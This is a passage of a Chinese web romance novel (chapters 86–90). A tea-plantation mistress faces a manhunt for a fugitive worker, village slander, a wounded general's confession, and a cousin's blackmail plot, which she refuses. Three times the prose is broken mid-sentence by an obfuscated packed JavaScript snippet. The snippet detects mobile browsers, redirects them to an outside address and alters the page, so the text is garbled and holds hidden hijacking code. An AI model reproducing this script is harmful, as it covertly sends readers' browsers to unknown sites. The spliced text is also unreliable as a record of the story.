萧泠凄然一笑，泪水又成串滚下来：“他是靖安侯，我与他是御赐的婚姻……莫说和离，如今我这身子骨，若要逃走，只怕连侯府的门都迈不出去。” “事在人为。”万山雪握紧她的手，压低声音，“绝境之处，或许正藏转机。眼下我遇着一件极难、也极险的事，正需一个契机。或许这契机本身，就能撞开一丝缝隙，让光透进来。” 她顿了顿，目光锐利如鹰，紧紧锁住萧泠的眼睛：“只是这条路，凶险万分，如同在悬崖峭壁间走一根细索。往前是深渊，退后是绝壁。稍有不慎，便是粉身碎骨，万劫不复。姐姐，您可愿与我赌这一把？不为我，是为您自己，为孩子，搏一个或许能透气的将来。” 萧泠的啜泣停了。 她怔怔望着万山雪，喃喃说道：“赌？我还有什么可输？就连亲生骨肉，都快要被人夺走……” 万山雪轻声说：“是啊，与其坐以待毙，不如撞撞看，万一呢？” 萧泠低下头，看向怀中熟睡的孩子。小家伙无知无觉，小嘴微微嚅动，那么柔软，那么毫无保留地依赖着她。 万山雪清晰地看到，她的眼底深处，倏地迸出两簇火星。 那是一个母亲被逼至悬崖，退无可退时，从骨髓里生出的、孤注一掷的勇气。 她抬起泪痕狼藉的脸，看向万山雪。嘶哑的嗓音里，带着一种豁出一切的狠绝，仿佛用尽了全身力气： “你说，要我怎么做？” 87. 第 87 章 离开侯府许久，萧泠那句话仍在耳边萦绕不散：“我真羡慕你，好像无论遇见什么事，都有章法，不惧争锋。” 她轻轻摇头，唇角泛起一丝苦涩。哪有什么章法？不过是退到悬崖边缘时，不得不摸索着踩出一条路罢了。 马车行至客栈门前，萧湘终于从长久的呆望中转过脸。一双眼睛红肿如熟透的桃子，整个人像被暴雨打蔫的花，哽咽道：“万姐姐，我不想走。姐姐如今那样，我怎么能……” “傻姑娘，”万山雪握住她冰凉的手，“你留下能做什么？是能让靖安侯回心转意，还是能把柳姨娘赶出府去？” 萧湘咬住下唇，眼眶里又蓄起摇摇欲坠的泪：“可我至少能陪着姐姐。她一个人，该多难过……” “陪着她就够了么？她如今最缺的不是陪伴，是实实在在的倚仗。她在侯府为何任人欺凌？除了侯爷昏聩，更因为——她在娘家没有足够的分量。萧家还有你兄长和你，不会为她豁出一切。欺负了，也就欺负了，没有任何后果。” 她替萧湘抹去眼泪：“你若真想帮她，就回萧家去。不是做闺中娇养的姑娘，是帮你兄长把家业撑起来。让萧家的产业里，刻上你的功劳你的名字。等你能真正当家做主，说话才会有人听。” 萧湘怔住了，泪珠悬在睫毛上，将落未落。 “这世道，话语权都是自己挣来的。”万山雪的声音轻得像自语，“人微言轻时，悲欢喜怒都无人在意。可若你姐姐自己能挺直脊梁，破上脸面性命豁出去，你再在身后替她撑一片天——你看靖安侯还敢不敢纵容妾室欺主？看那柳姨娘还敢不敢夺人子女？” 萧湘望着她许久，用力点了点头。忽然抬起袖子狠狠一抹眼睛，那动作还带着少女的稚气，眼底却已透出一股破土的狠劲。她朝万山雪深深一福，腰弯得低低的：“万姐姐，我懂了。” 回到小院时，暮色正沉沉压下来。廊下的灯笼还未点上，院子浸在昏黄暧昧的光里，一半明，一半暗。万山雪立在阶前，只觉得心头坠着块石头，沉得透不过气。 身后却响起带笑的声音：“怎么不进屋？” 竟是宣颐回来了。 “你怎么……”万山雪又惊又暖，忙压低声音，“孩子还小，离不得你。况且这地方……” “有乳母和嬷嬷呢，不妨事。”宣颐亲热地搭上她的肩，“上阵姐妹兵，我怎会让你一个人扛着？再说了……” 她凑近些，气息拂在万山雪耳畔：“有人托我当传话筒呢，嘱咐你莫为他分心，专心对付眼前的难关。” “……他还说了什么？”话一出口，万山雪便懊恼地扭过头去。 宣颐噗嗤一笑，曼声哼唱起来：“俏丫头，俊儿郎，檐下并肩话家常，你摘花来我递筐，眉眼弯弯情意长……” 万山雪耳根一热，追着她要打。两人笑闹着进了屋，裙裾拂过门槛，扫淡了一室昏沉。 接下来两日，竟是出奇的平静。 崔福不仅没来质问茶园过户之事，甚至告了假，连面也未露。 茶园里一切如常。春茶采摘已近尾声，焙茶房里日夜飘香，那香气浓得化不开，缠在衣襟发梢，挥之不去。幸存的茶树产量虽不多，到底让人看见几分希望。日光之下，万物安宁，仿佛余生皆可这般静好。 但万山雪心里清楚——这平静不过是暴雨前的假相。崔福那样的人，吃了这样大的亏，绝不可能罢休。 她在等。等他的后招，也等宣宅那头的消息。 第三日清晨，万山雪照例去茶园巡视。 春末的阳光泼洒在层层茶垄上，每一片叶子都镀了层薄薄的金绿。工人们正在采摘最后一批春茶，手指在枝叶间翻飞如蝶。空气里满是清新的茶香与湿润的泥土气息，宁静极了。 将近午时，山下忽然传来喧哗。 起初只是隐约的闷响，渐渐清晰起来——嘈杂的人声、纷沓的脚步声、佩刀碰撞的金属锐响。 不多会儿，七八个皂隶已立在山脚，腰挎佩刀，面色肃冷。他们站得笔直，像一排钉入地面的铁钉，带着官家特有的威严与压迫。 为首的捕头方脸浓眉，目光锐利如鹰。 崔福陪在一旁，满脸忧色，一见万山雪便快步上前引见：“二奶奶，这位是府衙的王标王捕头。” “崔二奶奶，”王标拱手，语气硬邦邦的，“奉府衙之命，缉拿逃犯。据线报，此人曾在贵府茶园逗留。需逐一盘查，还请行个方便。” 万山雪接过公文细看。官衙专用的硬黄纸，墨迹簇新，印鉴分明，确是真的。 “既是公事，妾身自当配合。”她递还公文，声音清泠，“只不知逃犯所犯何罪？形貌如何？也好让底下人帮着留意。” 王标从袖中抽出一卷画像。 画上是个浓眉黑脸的汉子，寥寥数笔却抓准了神韵——正是石三。 可那眼神与万山雪记忆中的全然不同。画里的眼睛凶狠带戾，而石三的目光总是低垂着，偶尔抬起，里面盛着说不清的悲凉。 “此人名右川，三年前在秀州犯下灭门血案。因口角之争，残杀兄嫂一家五口，连三岁稚子也未放过。” 王标的目光鹰隼般盯住万山雪，像要剜开皮肉直看到骨子里：“二奶奶可曾见过此人？” 初闻黎偃松密信时，她确有疑虑。可此刻对着这幅画像，她无比确信，石三那样的人，绝不可能为几句口角便杀兄弑嫂、连孩童都不放过。 她心中藤蔓般缠上层层疑云，面上却淡如静水：“茶园短工往来频繁，妾身未必个个记得。差爷既要查，我这便让人集合过来。” 王标一挥手，皂隶四散。一部分往别院去，一部分围住了渐渐聚拢的茶工。 搜了大半个时辰，皂隶陆续回报，一无所获。王标的眉头越皱越紧，目光在人群中来回逡巡，像要从每一张脸上刮出蛛丝马迹。 万山雪知道，最难的那刻要来了。 崔福家的李嬷不知从哪儿慢悠悠晃了过来，如常笑道：“哟，今日怎么这般热闹？” 崔福立时叱道：“官爷办案，妇道人家插什么嘴！还不回屋去！” 李嬷作势要走，瞥见王标手中画像，诧异道：“这不是石三兄弟么？官爷寻他作甚？” 崔福伸手要打：“闭嘴！你……” 万山雪暗自冷笑。这两口子配合的真是天衣无缝。 王标将罪行一道来，李嬷吓得浑身乱颤，跪地磕头如捣蒜：“不可能的官爷！定是弄错了！石三兄弟憨厚老实，在这儿三个多月，对茶园上下都好，临走那晚还给二奶奶磕了三个头，这般重情义的人，怎会是杀人犯？” 一语既出，石破天惊。 四下霎时死寂，连风过叶梢的声音都清晰可闻。所有目光骤然钉在万山雪身上。 王标眼神狠戾：“崔二奶奶，此话当真？” 万山雪迎上他的目光：“确有其事。可我待茶工向来不薄，短工辞行时谢我亦是常情——怎么，这也有罪？” “若是寻常短工，自然无罪。”王标一字一句，如重槌击心，“可若是逃犯，便是另一回事了。你方才为何隐瞒事实？是何居心？” “茶园用人，向来只看勤恳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145205|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与否，不问来历。这是规矩。”万山雪答得干脆，如刀切豆腐，“我每日千头万绪，短工又是来来往往，若一个个盘查底细，记住容貌，岂不累死？” “三个月，也不短了。若还是记不住容貌，我倒认得两个好大夫，可以给二奶奶看看脑子。”王标冷笑道，“本朝律令明载：窝藏罪犯，视同共犯。无意收留一日，便要领十杖；若有意庇护，或明知故留，便是重罪——轻则流放，重则……” 话未说尽，其意已明。 皂隶围了上来，脚步声沉沉踏在人心上。 崔福在一旁急声道：“二奶奶，您若知道什么便说了吧！这可是掉脑袋的事啊！” 万山雪看着这一幕，心中反而异常平静。像悬了许久的另一只靴子终于落地，她甚至轻轻松了口气。 该来的，到底来了。 就在皂隶要上前拿人之际，人群中忽然站出一人—— 是陕万年。 “差爷且慢。”他抱拳行礼，声如洪钟。 王标皱眉：“你是何人？” “小人茶园雇工陕万年。”他不卑不亢，腰杆笔直，“按本朝律令，若能协助擒获逃犯，可将功抵罪。小人与几位兄弟深受二奶奶恩德，愿立军令状，协助官府追查石三下落。若擒得此人，恳请减免夫人罪责；若擒不得——我等愿与主家同罪！” 话音落下，又有三四人站出，齐声道：“我等愿同往！” 万山雪怔住了。 她认得他们——有黎偃松的亲兵，也有四个是寻常茶工。她待他们不过是一视同仁：工钱按时发，饭菜干净管饱，天寒添衣，家中有事便准假……都是琐碎寻常的事。 可他们，竟愿为她担此风险。 王标显然也未料到此变，眯眼打量陕万年等人：“你们可知，若立状而抓不到人，便是罪加一等？” “小人知晓。”陕万年神色坚毅，“愿签字画押。” 皂隶低声商议起来。这时，忽有马蹄声由远及近，一人下马匆匆而来——竟是刑名房的宋师爷。 “王捕头，且慢动手。”宋昭拭了拭额角汗，一眼也未看万山雪。 两人走到一旁低语片刻。王标回来时面色稍缓：“既然有人愿立状追捕，宋师爷又出面说情……也罢。给你们五日。五日后若无结果，休怪律法无情。” 陕万年等人当即按了手印。 皂隶撤去，只留两人守在别院门外，如两尊门神，也似两把悬锁。 一场风波暂歇，但茶园里的空气已凝重如铁。 众人散后，万山雪将方才出头的几人唤到跟前：“你们这是何苦？天大地大，何处不能谋生？何必为一份工，担这天大的风险？” 年轻茶工阿旺挠头憨笑：“夫人，您心肠好，我们都记着。有些事您可能觉得没什么，但对我们来说是天大的恩情。” 有个年长些的也跟着点头：“是啊夫人。我虽没读过书，也懂得‘知恩图报’四字。您放心，我们一定尽力去找。” 万山雪喉间一哽，想说些什么，却发不出声音。 最终，她只是深深一福，腰弯得低低的：“诸位大恩，万山雪铭记在心。” 那一夜，她辗转难眠。 石三低垂的眼、磕头时沉闷的响声、萧泠即将踏上的险途、黎偃松不知安危的处境……种种思绪如乱麻缠绕，越理越乱。 直至窗纸透出蒙蒙灰白，她才恍惚睡去。梦里全是奔跑、追赶，还有怎么也推不开的门。 次日醒来，恶毒的流言已如野草疯长，趁着一夜春风，扑天盖地蔓延开来。 88. 第 88 章 流言一夜之间爬满了崔家别院的墙垣。 都说崔家二奶奶年纪轻轻守活寡，见了那黑脸魁梧的汉子便按捺不住，两人在茶园里做了丑事，被下人撞破，那汉子才慌忙逃了。 话语越来越脏，情节越说越细，仿佛说话的人就贴在他们身后看得一清二楚。更有一众小童儿蹦蹦跳跳对着崔家院子唱小曲儿： “茶园里头蝴蝶忙，黑蝴蝶爱寻白海棠 海棠夜里不关窗，露水沾湿绣花床 哎呦呦，小娇娘，你衣裳怎挂荆棘上 井台照影影成双呀，一只木桶两个梁！” 红璎和橘霜气得浑身发抖，持刀动杖作势要打，才刚回屋，他们又如寻味儿而来的蚊虫聚拢，嗡嗡不绝。 几次三番，花露急了，撩起面纱将他们吓走，这才略略消停。 宣颐起初还沉得住气，到午后听见又编了新曲子，气得摔了杯子：“这些烂了舌根的腌臜货！我非撕了他们的嘴！” “好姐姐，”万山雪拉住她衣袖，“流言这东西，你若是在意，它就是刀子，刀刀致命；你若不当回事，那就是耳旁风，一过即散。” “可他们用心太毒，这是想要你的命呢，”宣颐眼都红了，“女子的名声何其重要……” “名声？”万山雪极淡地笑了一下，眸子里浮起一层苍凉的薄雾，“我嫁入崔家三年，流言听得还少么？说我倒贴，说我不能生，说夫君不喜是因我婚前失贞……若要靠名声活着，我早死过多少回了。” 她朝崔福住的屋子努了努嘴——崔福一早便拽着李嬷出去了，说要帮着去找石三，将功赎罪，“人家背后恐怕笑得肠子打结，就等着看咱们受不住难听话，灰溜溜地滚出晋陵呢！” 宣颐握紧她的手，听着外面小孩的嬉笑声，恨得直咬牙。 万山雪回握了一下：“我知道你是为我。可眼下，有比流言更要紧的难关要过。” 她早知崔福阴毒，却未料到他直接将毒刃往这最腌臜处捅。男女私情，风影之事，最是摧折女子心肠。百口莫辩，越描越黑，这分明是要绝了她的路，逼她离开。 这般传了两日，便有了效果。 两个粗使婆子寻了莫名其妙的由头辞工，支支吾吾的；有孩子往崔家门前靠近些，便被大人一把拽回，低声喝斥：“离远些！那院里不干净！” 万山雪立在廊下，看那些背影如躲避瘟疫般惶惶离去，脸上没什么波澜，心里却像被极细的针尖一下下刺着，绵密地疼。 不知这流言传到京城了没，尤氏与丰掌柜他们听了，又作何感想。 到了第四日傍晚，天阴得厉害，闷得人胸口发慌。万山雪用过晚膳，独坐书房，对着摊开的账册。烛火在她脸上摇曳，将影子拉长又揉碎，投在粉墙上，像个孤寂的鬼魅。 五日期限，只剩一日了。 夜渐深，雨终于落下来，先是疏疏几点敲在窗纸上，很快便连成了片，淅淅沥沥，像是无数只冰冷的手指在不知疲倦地叩窗。 万山雪搁下笔，望着跳动的火苗出神。就在这时，身后传来脚步声，随即是门被轻轻关上的声音。 她只道是红璎，没有回头，低声说：“我还要坐一会儿，你与橘霜先歇下吧。” 半晌不听回应，她回过头去，见来人站在昏昧的阴影里，一手拿着湿透的斗笠，目光沉沉，直直落在她身上。 “将军？”万山雪心下一惊，下意识起身上前两步，“这时候你怎么来了？” 她急急扑到窗前，将本就拉着的帘子又拢紧些，声音压得极低：“外面有衙门的人守着，你疯了不成？” 黎偃松不答，只是那样深深地看着她，目光缓缓碾过她的眉眼。那注视太久，太重，仿佛要烙进她魂魄里去。 她已卸了钗环，青丝如瀑散在肩头，幸而还未更衣。 烛光昏暗，雨声潇潇，这逼仄的室内，一男一女，气息可闻，实在太过暧昧，也太过危险。 “将军夤夜前来，究竟有何急事？”她别开视线，嗓音发紧。 他低低道：“我放心不下，来看看你。” “我无事。”她催促，“你快走，此地不可久留。” 见他仍是立着不动，她心里发急，上前便要推他。走近了才瞥见他左手袖口正滴滴答答往下淌着水——不，颜色不对。 她疑心顿起，端起烛台凑近，赫然看见左肩衣料已被血洇透，暗红一片，仍有新鲜的血迹顺着布料纹理缓缓渗出。 “你受伤了。”她心口猛地一抽。 烛光终于照亮他全部面容。脸色苍白如纸，唇上毫无血色，唯独那双眼睛，亮得灼人。雨水从他额发滴落，滑过高挺的鼻梁，在下颌凝成一道湿痕。 不知他在雨夜走了多久，才来到她面前。 “小伤，不碍事。”他语气平淡。 “让我看看。” 她声音发颤，踮起脚凑近他后背，拨开衣服一看，皮肉狰狞外翻，边缘被雨水泡得发白，深处却仍顽固地渗着血。几道陈年旧疤，从肩胛骨斜劈而下，与这新伤交错，像命运刻下的狰狞印记。 她猛地闭眼，后退一步：“你等着，我去叫红璎来，她胆大心细……” 转身欲走，手腕却被一只大手牢牢握住。 “她自小跟着我的，很靠得住，我……我不敢弄这些。”她急急解释，试图挣脱。 “那便不管它。”他声音低哑，手掌却未曾松开，“我真的不疼，你别担心。” 他手掌冰凉，竟勾出她心底几分怜惜。她硬起心肠，挣开他的手：“别胡说！伤口溃烂了如何是好？” 她执意要走，他却侧身一步，高大的身影将她与门隔开。气息骤然交缠——血腥气、雨水的潮气，还有他身上滚烫的温度，将她密密包围。 两人离得极近，近得她能闻到他身上混合着血腥的气息，能感受到他滚烫的呼吸拂过她的额发。 他微微俯身，在她耳边低语：“我只想来看看你，就一会儿，别叫旁人来。” 那声音里带着一丝恳求，像一根细针，猝不及防刺破她的心防。她望着他湿漉漉的眼眸，终于妥协：“……去那边坐下。” 取药箱回来，他已褪去半边衣裳，露出宽阔的肩背。烛光下，那道刀伤更显狰狞，而深深浅浅的旧疤，则无声诉说着他曾经历过的无数生死。 万山雪呼吸一滞：“怎么伤得这样重？” “遇上伏击，突围时挨了一下。”他语气平淡，却转过头，目光锁住她，“那些混账话，你别往心里去。关起门来好好吃饭，好好睡觉。” 他自个儿都这般光景了，竟还在惦念她。 这些日子，她以为自己早已炼成了铁石心肠，难过虽有，却不至溃乱。 可被他这样一问，不知怎的，鼻腔猛地一酸，眼眶瞬间滚烫，所有强压下的委屈恐惧，翻江倒海般涌上来，几乎要将她吞没。 她慌忙低头压抑泪意，在药箱里胡乱翻找。瓶罐相碰，叮当乱响，她的手抖得厉害，几乎抓不住那卷洁净的纱布。 “你若害怕，就不要勉强。”他声音放得极轻，“我不疼。” 她摇摇头，雪白的贝齿深深陷入嫣红的嘴唇里去，深吸一口气，拿起药棉走到他身后。 咫尺之距，她的发丝随着动作轻轻垂落，若有似无地扫过他紧绷的脊背。她的呼吸，如羽毛般拂过那处伤口周围的皮肤。 他浑身肌肉瞬间绷紧，一动不动。 忽然，一点温热滚烫的液体，毫无预兆地滴落在他背脊上。紧接着，又是一滴。 他脊背一僵。 她在哭。 她的眼泪，一颗颗，滚烫地砸下来，烫得他心脏狠狠一缩。 “别哭。”他艰难地侧过头，声音哑得不成样子，“你别哭。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148049|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她没应声，只是手上动作更轻。指尖偶尔不经意擦过他完好的皮肤，带起一阵细微的战栗。 终于包扎妥当，他缓缓转过身来。 万山雪脸上泪痕犹在，烛光里莹莹发亮，像碎雪凝在玉瓷上。 他心底那根绷了许久的弦，铿然断裂。再也克制不住，伸手捧住了她的脸，指腹轻轻摩挲着她细腻冰凉的脸颊。 “别怕。”他轻轻抵住她的额头，每个字都像从肺腑里掏出来，“难关都会过去，我会一直在。” 她知道自己应该躲开，却不知为何，挪不动丝毫，眼泪又汹涌而出，落进他掌心：“我才不怕他们，我是怕你……” “我无妨。”他轻轻拭去她颊边泪珠，动作轻柔得近乎虔诚，“比起你这些年受的苦，这点伤算什么。” 万山雪愕然抬起泪眼。 “那一次在客栈见你，我就想，”他声音里浸着深沉的痛惜，“这世上，怎么有人舍得这样对你。他崔明之，怎么敢如此嚣张。” “崔明之”三个字将她拉回眼下的身份处境里。 她挣开他的手，起身将染血的布巾丢进水盆。清水瞬间晕开一抹淡红，像残阳最后的血痕。 “时候不早了，将军稍候，我去看看外头是否安全，你就赶紧离开吧。” 他却挡在她面前，逼着她与自己对视：“为什么总想躲开我？” 万山雪避无可避。 这个男人，周身都散发着一种致命的、令人心慌意乱的气息，而他似乎全然不知。她要用尽理智，才能命令自己忽视他眼底浓烈的情意。 “将军慎言。你我之间，隔着天堑。我……” “别叫将军。”他忽然打断，烛火在他深邃的眸中跳动，那里面有什么东西正在疯狂燃烧，冲破所有理智与礼法的藩篱，汹涌地漫上来。 “从前我尚可欺骗自己，我对你施以援手，皆因这重身份，这是我的职责道义。可当我听说那些污言秽语泼向你，当我想到你可能在牢狱中独自面对黑暗——” 他的声音开始颤抖，眼底通红一片，“我骗不了自己了。” 万山雪垂着眼眸，不去看他：“那是我要背负的人生，与将军您无关。” “我知道。这念头千不该万不该，不合礼数，不容于世。我知道我该转身离开，此生不见。我试过了，在你看不见的地方，我无数次硬起心肠，告诉自己，你的人生与我无关。” 他眼眶通红，属于铁血将军的刚硬寸寸碎裂，“可是每次见你强颜欢笑，每次得知你又受了委屈，这里——” 他抓着她的手，按在心口。心跳透过衣料，一下下撞击着她的掌心。 “这里就疼得像是要裂开。”他闭上眼，“万山雪，我真的……试了很多次……” 他手臂一收，将她紧紧拥入怀中。 像倦鸟归巢，像孤舟泊岸。 “黎偃松，你冷静些……” 他把脸深深埋在她颈侧，滚烫的呼吸灼烫着她的皮肤，哽咽道：“就一会儿……求你，就让我抱一会儿。” 这句话像最后一根稻草，压垮了她摇摇欲坠的抗拒。 他的手臂环过她的脊背，抱得那样用力，仿佛要将她揉进骨血，却又在极致的用力中透出无限的小心翼翼，生怕弄疼了她。 她僵立许久，终是缓缓地、迟疑地，抬起手臂，回抱住了他。 这个拥抱，不知持续了多久。直到远处传来隐约的鸡鸣，门上响起极轻的叩击声。 如同大梦初醒，万山雪倏然松开手，后退一步。 烛光摇曳，他们相对而立。 “我得走了。你好好的，一切有我。” 随即，他松开手，决然转身，身影迅速融入门外未散的夜色之中。 万山雪站在原地，许久未动，怀中空余他留下的温度与血腥气。 四更天了，长夜将尽。 89. 第 89 章 天边泛起蟹壳青，薄如宣纸，透出背后隐约的光，映亮了书房的狼藉。 铜盆里漾着淡红残漪，药瓶斜倒，堆着染血的棉纱，一团一团触目惊心。地上那滩暗红已渗进砖缝，只余一片晦迹。 万山雪挽袖收拾——将血水泼在花树下，药瓶锁进匣中，棉纱包好递给橘霜：“拿去烧了。” 那片血渍她未假手他人，蘸着清水一遍遍擦拭，指尖浸得发白，那暗色却似生了根，牢牢嵌在青砖纹路里。 “罢了。”她直起身，将红璎端来的药汤倾覆其上。浓苦的药气漫开，将那缕残存的腥锈彻底掩去。 早膳过后，院子静得反常。 丫鬟们步履轻悄，神色焦灼。廊下那只素日聒噪的八哥，今日也噤了声，缩在笼角，黑豆般的眼珠警惕地四处张望。 万山雪不愿坐困愁城。 她命橘霜取来茶园地契、账册、佃户名录及新茶预售契书，又让她去请宣颐。 宣颐看着推至面前的账册，轻声道：“事情未必至那般田地……” “做最坏的打算，行最稳的棋步。” 她翻开账册，条分缕析：若短期羁押，便由宣颐主持；若判刑流放，亦需将前因后果交代分明，当众将茶园交予崔家。说来也奇怪，一旦接受了最糟的可能，从这绝境处开始铺排，心里竟踏实下来。 二人逐项商议。客商变故、旧茶出清、人员调度……说到后来，连“倘若流放，何处较宜”也认真讨论起来。 “岭南湿热多瘴，不是好去处。”宣颐摇头。 “北地苦寒，我受不住。”万山雪接口，“江南如何？听闻有些流放地邻近富庶州县，管制宽松，将来或可做些小营生。” “若真能选，滇南倒好。虽远，却是好地方。听说四季花开不绝，去当个花王也不错。” “滇南……”万山雪眼神飘了一瞬，随即莞尔，“倒是个好主意。” 正说至轻松处，橘霜进来禀道：“二奶奶，宣娘子，尤家大少爷在前厅候着。” 万山雪与宣颐对视一眼。该来的，终是来了。 “请他稍坐，我即刻便到。”她声音稳如平素。 她回房更衣，择了件靛青褙子，将青丝重新绾过。行至门前忽又折返，拉开妆台最底层的抽屉，取出离京时黎老将军所赠玉佩。 橘霜问：“奶奶这是？” 万山雪将玉佩拢入掌心，温润暖意恍若那人目光。 “借一借黎老将军的浩然之气，”她眼中掠过一丝顽皮的光亮，“辟邪。” 前厅中，尤弈正负手踱步，月白绸袍下摆微荡。见万山雪进来，抬手一揖：“表弟妹安好。” 万山雪于主位落座：“表哥请坐。看茶。” 尤弈自袖中取出一封缄口信笺递来：“家父手书，还请弟妹过目。” 字迹老辣，力透纸背，一股不容置喙的肃杀之气劈面而至： “流言汹汹，尤崔二姓清誉蒙尘。着弈儿速送汝归京，茶园琐务，弃之不惜。官府关节，尤家自会打点，汝勿复多言，即刻启程。” 寥寥数行，如军令状，毫无商量转圜余地。 万山雪缓缓将信折好，搁回案上。 “烦请表哥回禀舅父，”她抬眼直视尤弈，“茶园事未了，山雪不能走。” 尤弈眉梢微挑。端起茶盏，以盖轻刮浮沫，瓷壁相磨的细响在过份寂静的厅堂里格外清晰。 “表弟妹，”他搁下茶盏，“既为至亲，我便直言了。那逃犯在你茶园出事，纵我等信你，终究人言可畏。女子名节重于泰山，多留一刻，便多染一刻污浊，不如从容返京。时日久了，流言自散。” “正因流言可畏，才更走不得。人是我招进茶园的，一出事我便抽身，岂非坐实心虚？我清白磊落，脏水无端泼来，纵要离去，也当干干净净地走。” 尤弈细目微眯，将万山雪从头到脚打量一番，短促一笑，向后靠入椅中。 “原当表弟妹是个聪明人，不料竟如此爱钻牛角尖。二奶奶您的茶园，如今已成是非之地，沾住即是一身腥。谁还敢与你做生意？谁还敢收你的茶？纵你将茶园过户宣颐名下也不过掩耳盗铃罢了。晋陵地界，谁不知宣颐是你从茶王处求来的帮手？她与你，早是栓在一根绳上的蚂蚱。” 他语速渐紧，步步进逼：“表弟妹，你如此费尽心机，甚至不惜行险保住这片茶园，真正缘由，瞒得过旁人，却瞒不过我。” 万山静坐如深潭，不承认亦不否认。唯交叠膝上的手，指尖微微收紧。 尤弈见她沉默，嘴角勾起一抹了然笑意，倾身压低嗓音：“明之表弟教你守了三年活寡，冷落轻慢，却让没名没分的思羽有了身孕。你在崔家，早已颜面尽失，进退维谷。如今又与娘家生隙，归路已断。回京这条路，你不好走。这片因缘巧合掌管的茶园，怕是你眼下唯一能握在手的东西，是你安身立命、将来借以翻身的根本。我说得可对？” 最深的窘迫、最痛的耻辱被人如此血淋淋撕开展在光下，反生出一片破釜沉舟的平静。 万山雪迎着他审视的目光，缓缓颔首：“表哥既已看透，又何必再劝？” “我今日，是来与你互帮互助的。” 万山雪微微偏首：“哦？” “你如今处境，我清楚。明之心中无你，姑母偏疼思羽这嫡亲外甥女，娘家亦不可恃。你一女子，空有主母名号，内无夫君爱重，外无娘家撑持，想在这世道活得硬气，难如登天。”尤弈语气放缓，竟显出几分虚伪的恳切，“但若你我联手，局面便大不相同！” “联手？”万山雪轻声复述。 “正是！”尤弈拇指与食指一捻，“你要的，是婆母与夫君的敬重，是在崔家真正站稳，一雪前耻。而我——”他拖长语调，眼中贪欲再无掩饰，“我要的是这个，白花花的银子。” 他声音压得更低，几成气音，却字字狠毒：“乌思羽有孕不假，但若那孩子……并非崔家血脉呢？” 万山雪心头一凛。 此人当真狠绝—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167673|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一头是大姑母与表弟，一头是三姑母与表妹，却能眼也不眨吐出这等毒计。 她垂眸只作不解：“表哥此言，我不明白。” “晋陵城夏大夫，世代行医，德高望重。最要紧的是，他对明之的身子最清楚不过。有些话，由他说出口，比你我言之，有力千倍。” 他盯着万山雪骤然苍白的脸，一字一顿：“届时，乌思羽便是玷污门楣的□□。你不仅能拔去眼中钉，更能以正室之身清理门户，为崔家立下大功。姑母感激你，明之愧对你，你在崔家的地位，再无人可动摇。” 他摊开手，似已胜券在握：“此乃双赢，表弟妹。你得名位，我得实惠，各取所需。事成之后，你我二一添作五，绝不教你吃亏。如何？” 不知怎的，这当口，她忽然想起黎偃松来。 想起他肩背上交错的疤，想起他滚烫的泪落入发间时的灼人温度，想起那个短暂却竭尽全力的拥抱里，近乎绝望的珍重。 那是与眼前这一切算计倾轧全然不同的情意。不交换，不权衡，不图谋。只是干干净净的喜欢，与干干净净的心疼。 她缓缓抬眼，看向尤弈：“表哥确是个绝顶聪明之人。利弊得失，人心欲望，皆算得清清楚楚。若我想赢乌思羽，这确是条捷径。” 尤弈眼中掠过得意，身形微松，似已胜券在握。 “可是——” 她话锋一转，站起身来，“表哥唯独漏算的是，我不想赢。道不同，不相为谋。表哥请回吧。” 死寂在厅中蔓延。连窗外偶尔的鸟鸣，也似被这凝滞的空气隔断。 尤弈脸上的笑一点点僵住。他盯着万山雪，像在看一个全然不可理喻的怪物。 他慢慢起身，一字一字从齿间挤出：“怪我未与你说清——不联手的后果。” 他绕过桌案，走至她面前，居高临下。 “石三，已在城南乱葬岗里躺着了。”声音不高，却寒意彻骨，“你同他的那些风流传言，从此便是死无对证。” 他陡然提高嗓音：“单凭这一桩，我就能让崔家休了你。你还妄想守着这片破茶园？痴人说梦！” 万山雪迎上他暴怒阴鸷的目光，忽然笑了，一片坦然。 “人皆需为自己的选择付出代价。我愿赌服输，也望表哥来日无悔。” “好！好得很！”他怒极反笑，连连点头，目色森冷，“我倒要瞧瞧，你这身硬骨头，能扛到几时。” 不再多言，拂袖转身。袍袖扫过案面，茶盏“哐当”坠地，瓷片四溅，褐茶污了光亮地砖。 脚步声渐远，终至消失。 万山雪静静坐着，目光投向窗外。 不知何时，云破日出。院中那株老桂，每片经雨洗过的叶子皆闪着碎金般的光泽，亮得晃眼。 她闭上双眼，深深吸气。 “橘霜，替我挑一身颜色鲜亮些的衣裳。” 橘霜微怔：“奶奶要出门？” “不，”她望向庭中灼灼秋光，“等客来。” 90. 第 90 章 窗棂的影子斜斜割在地面，一格一格，隔绝了外面的喧嚣。 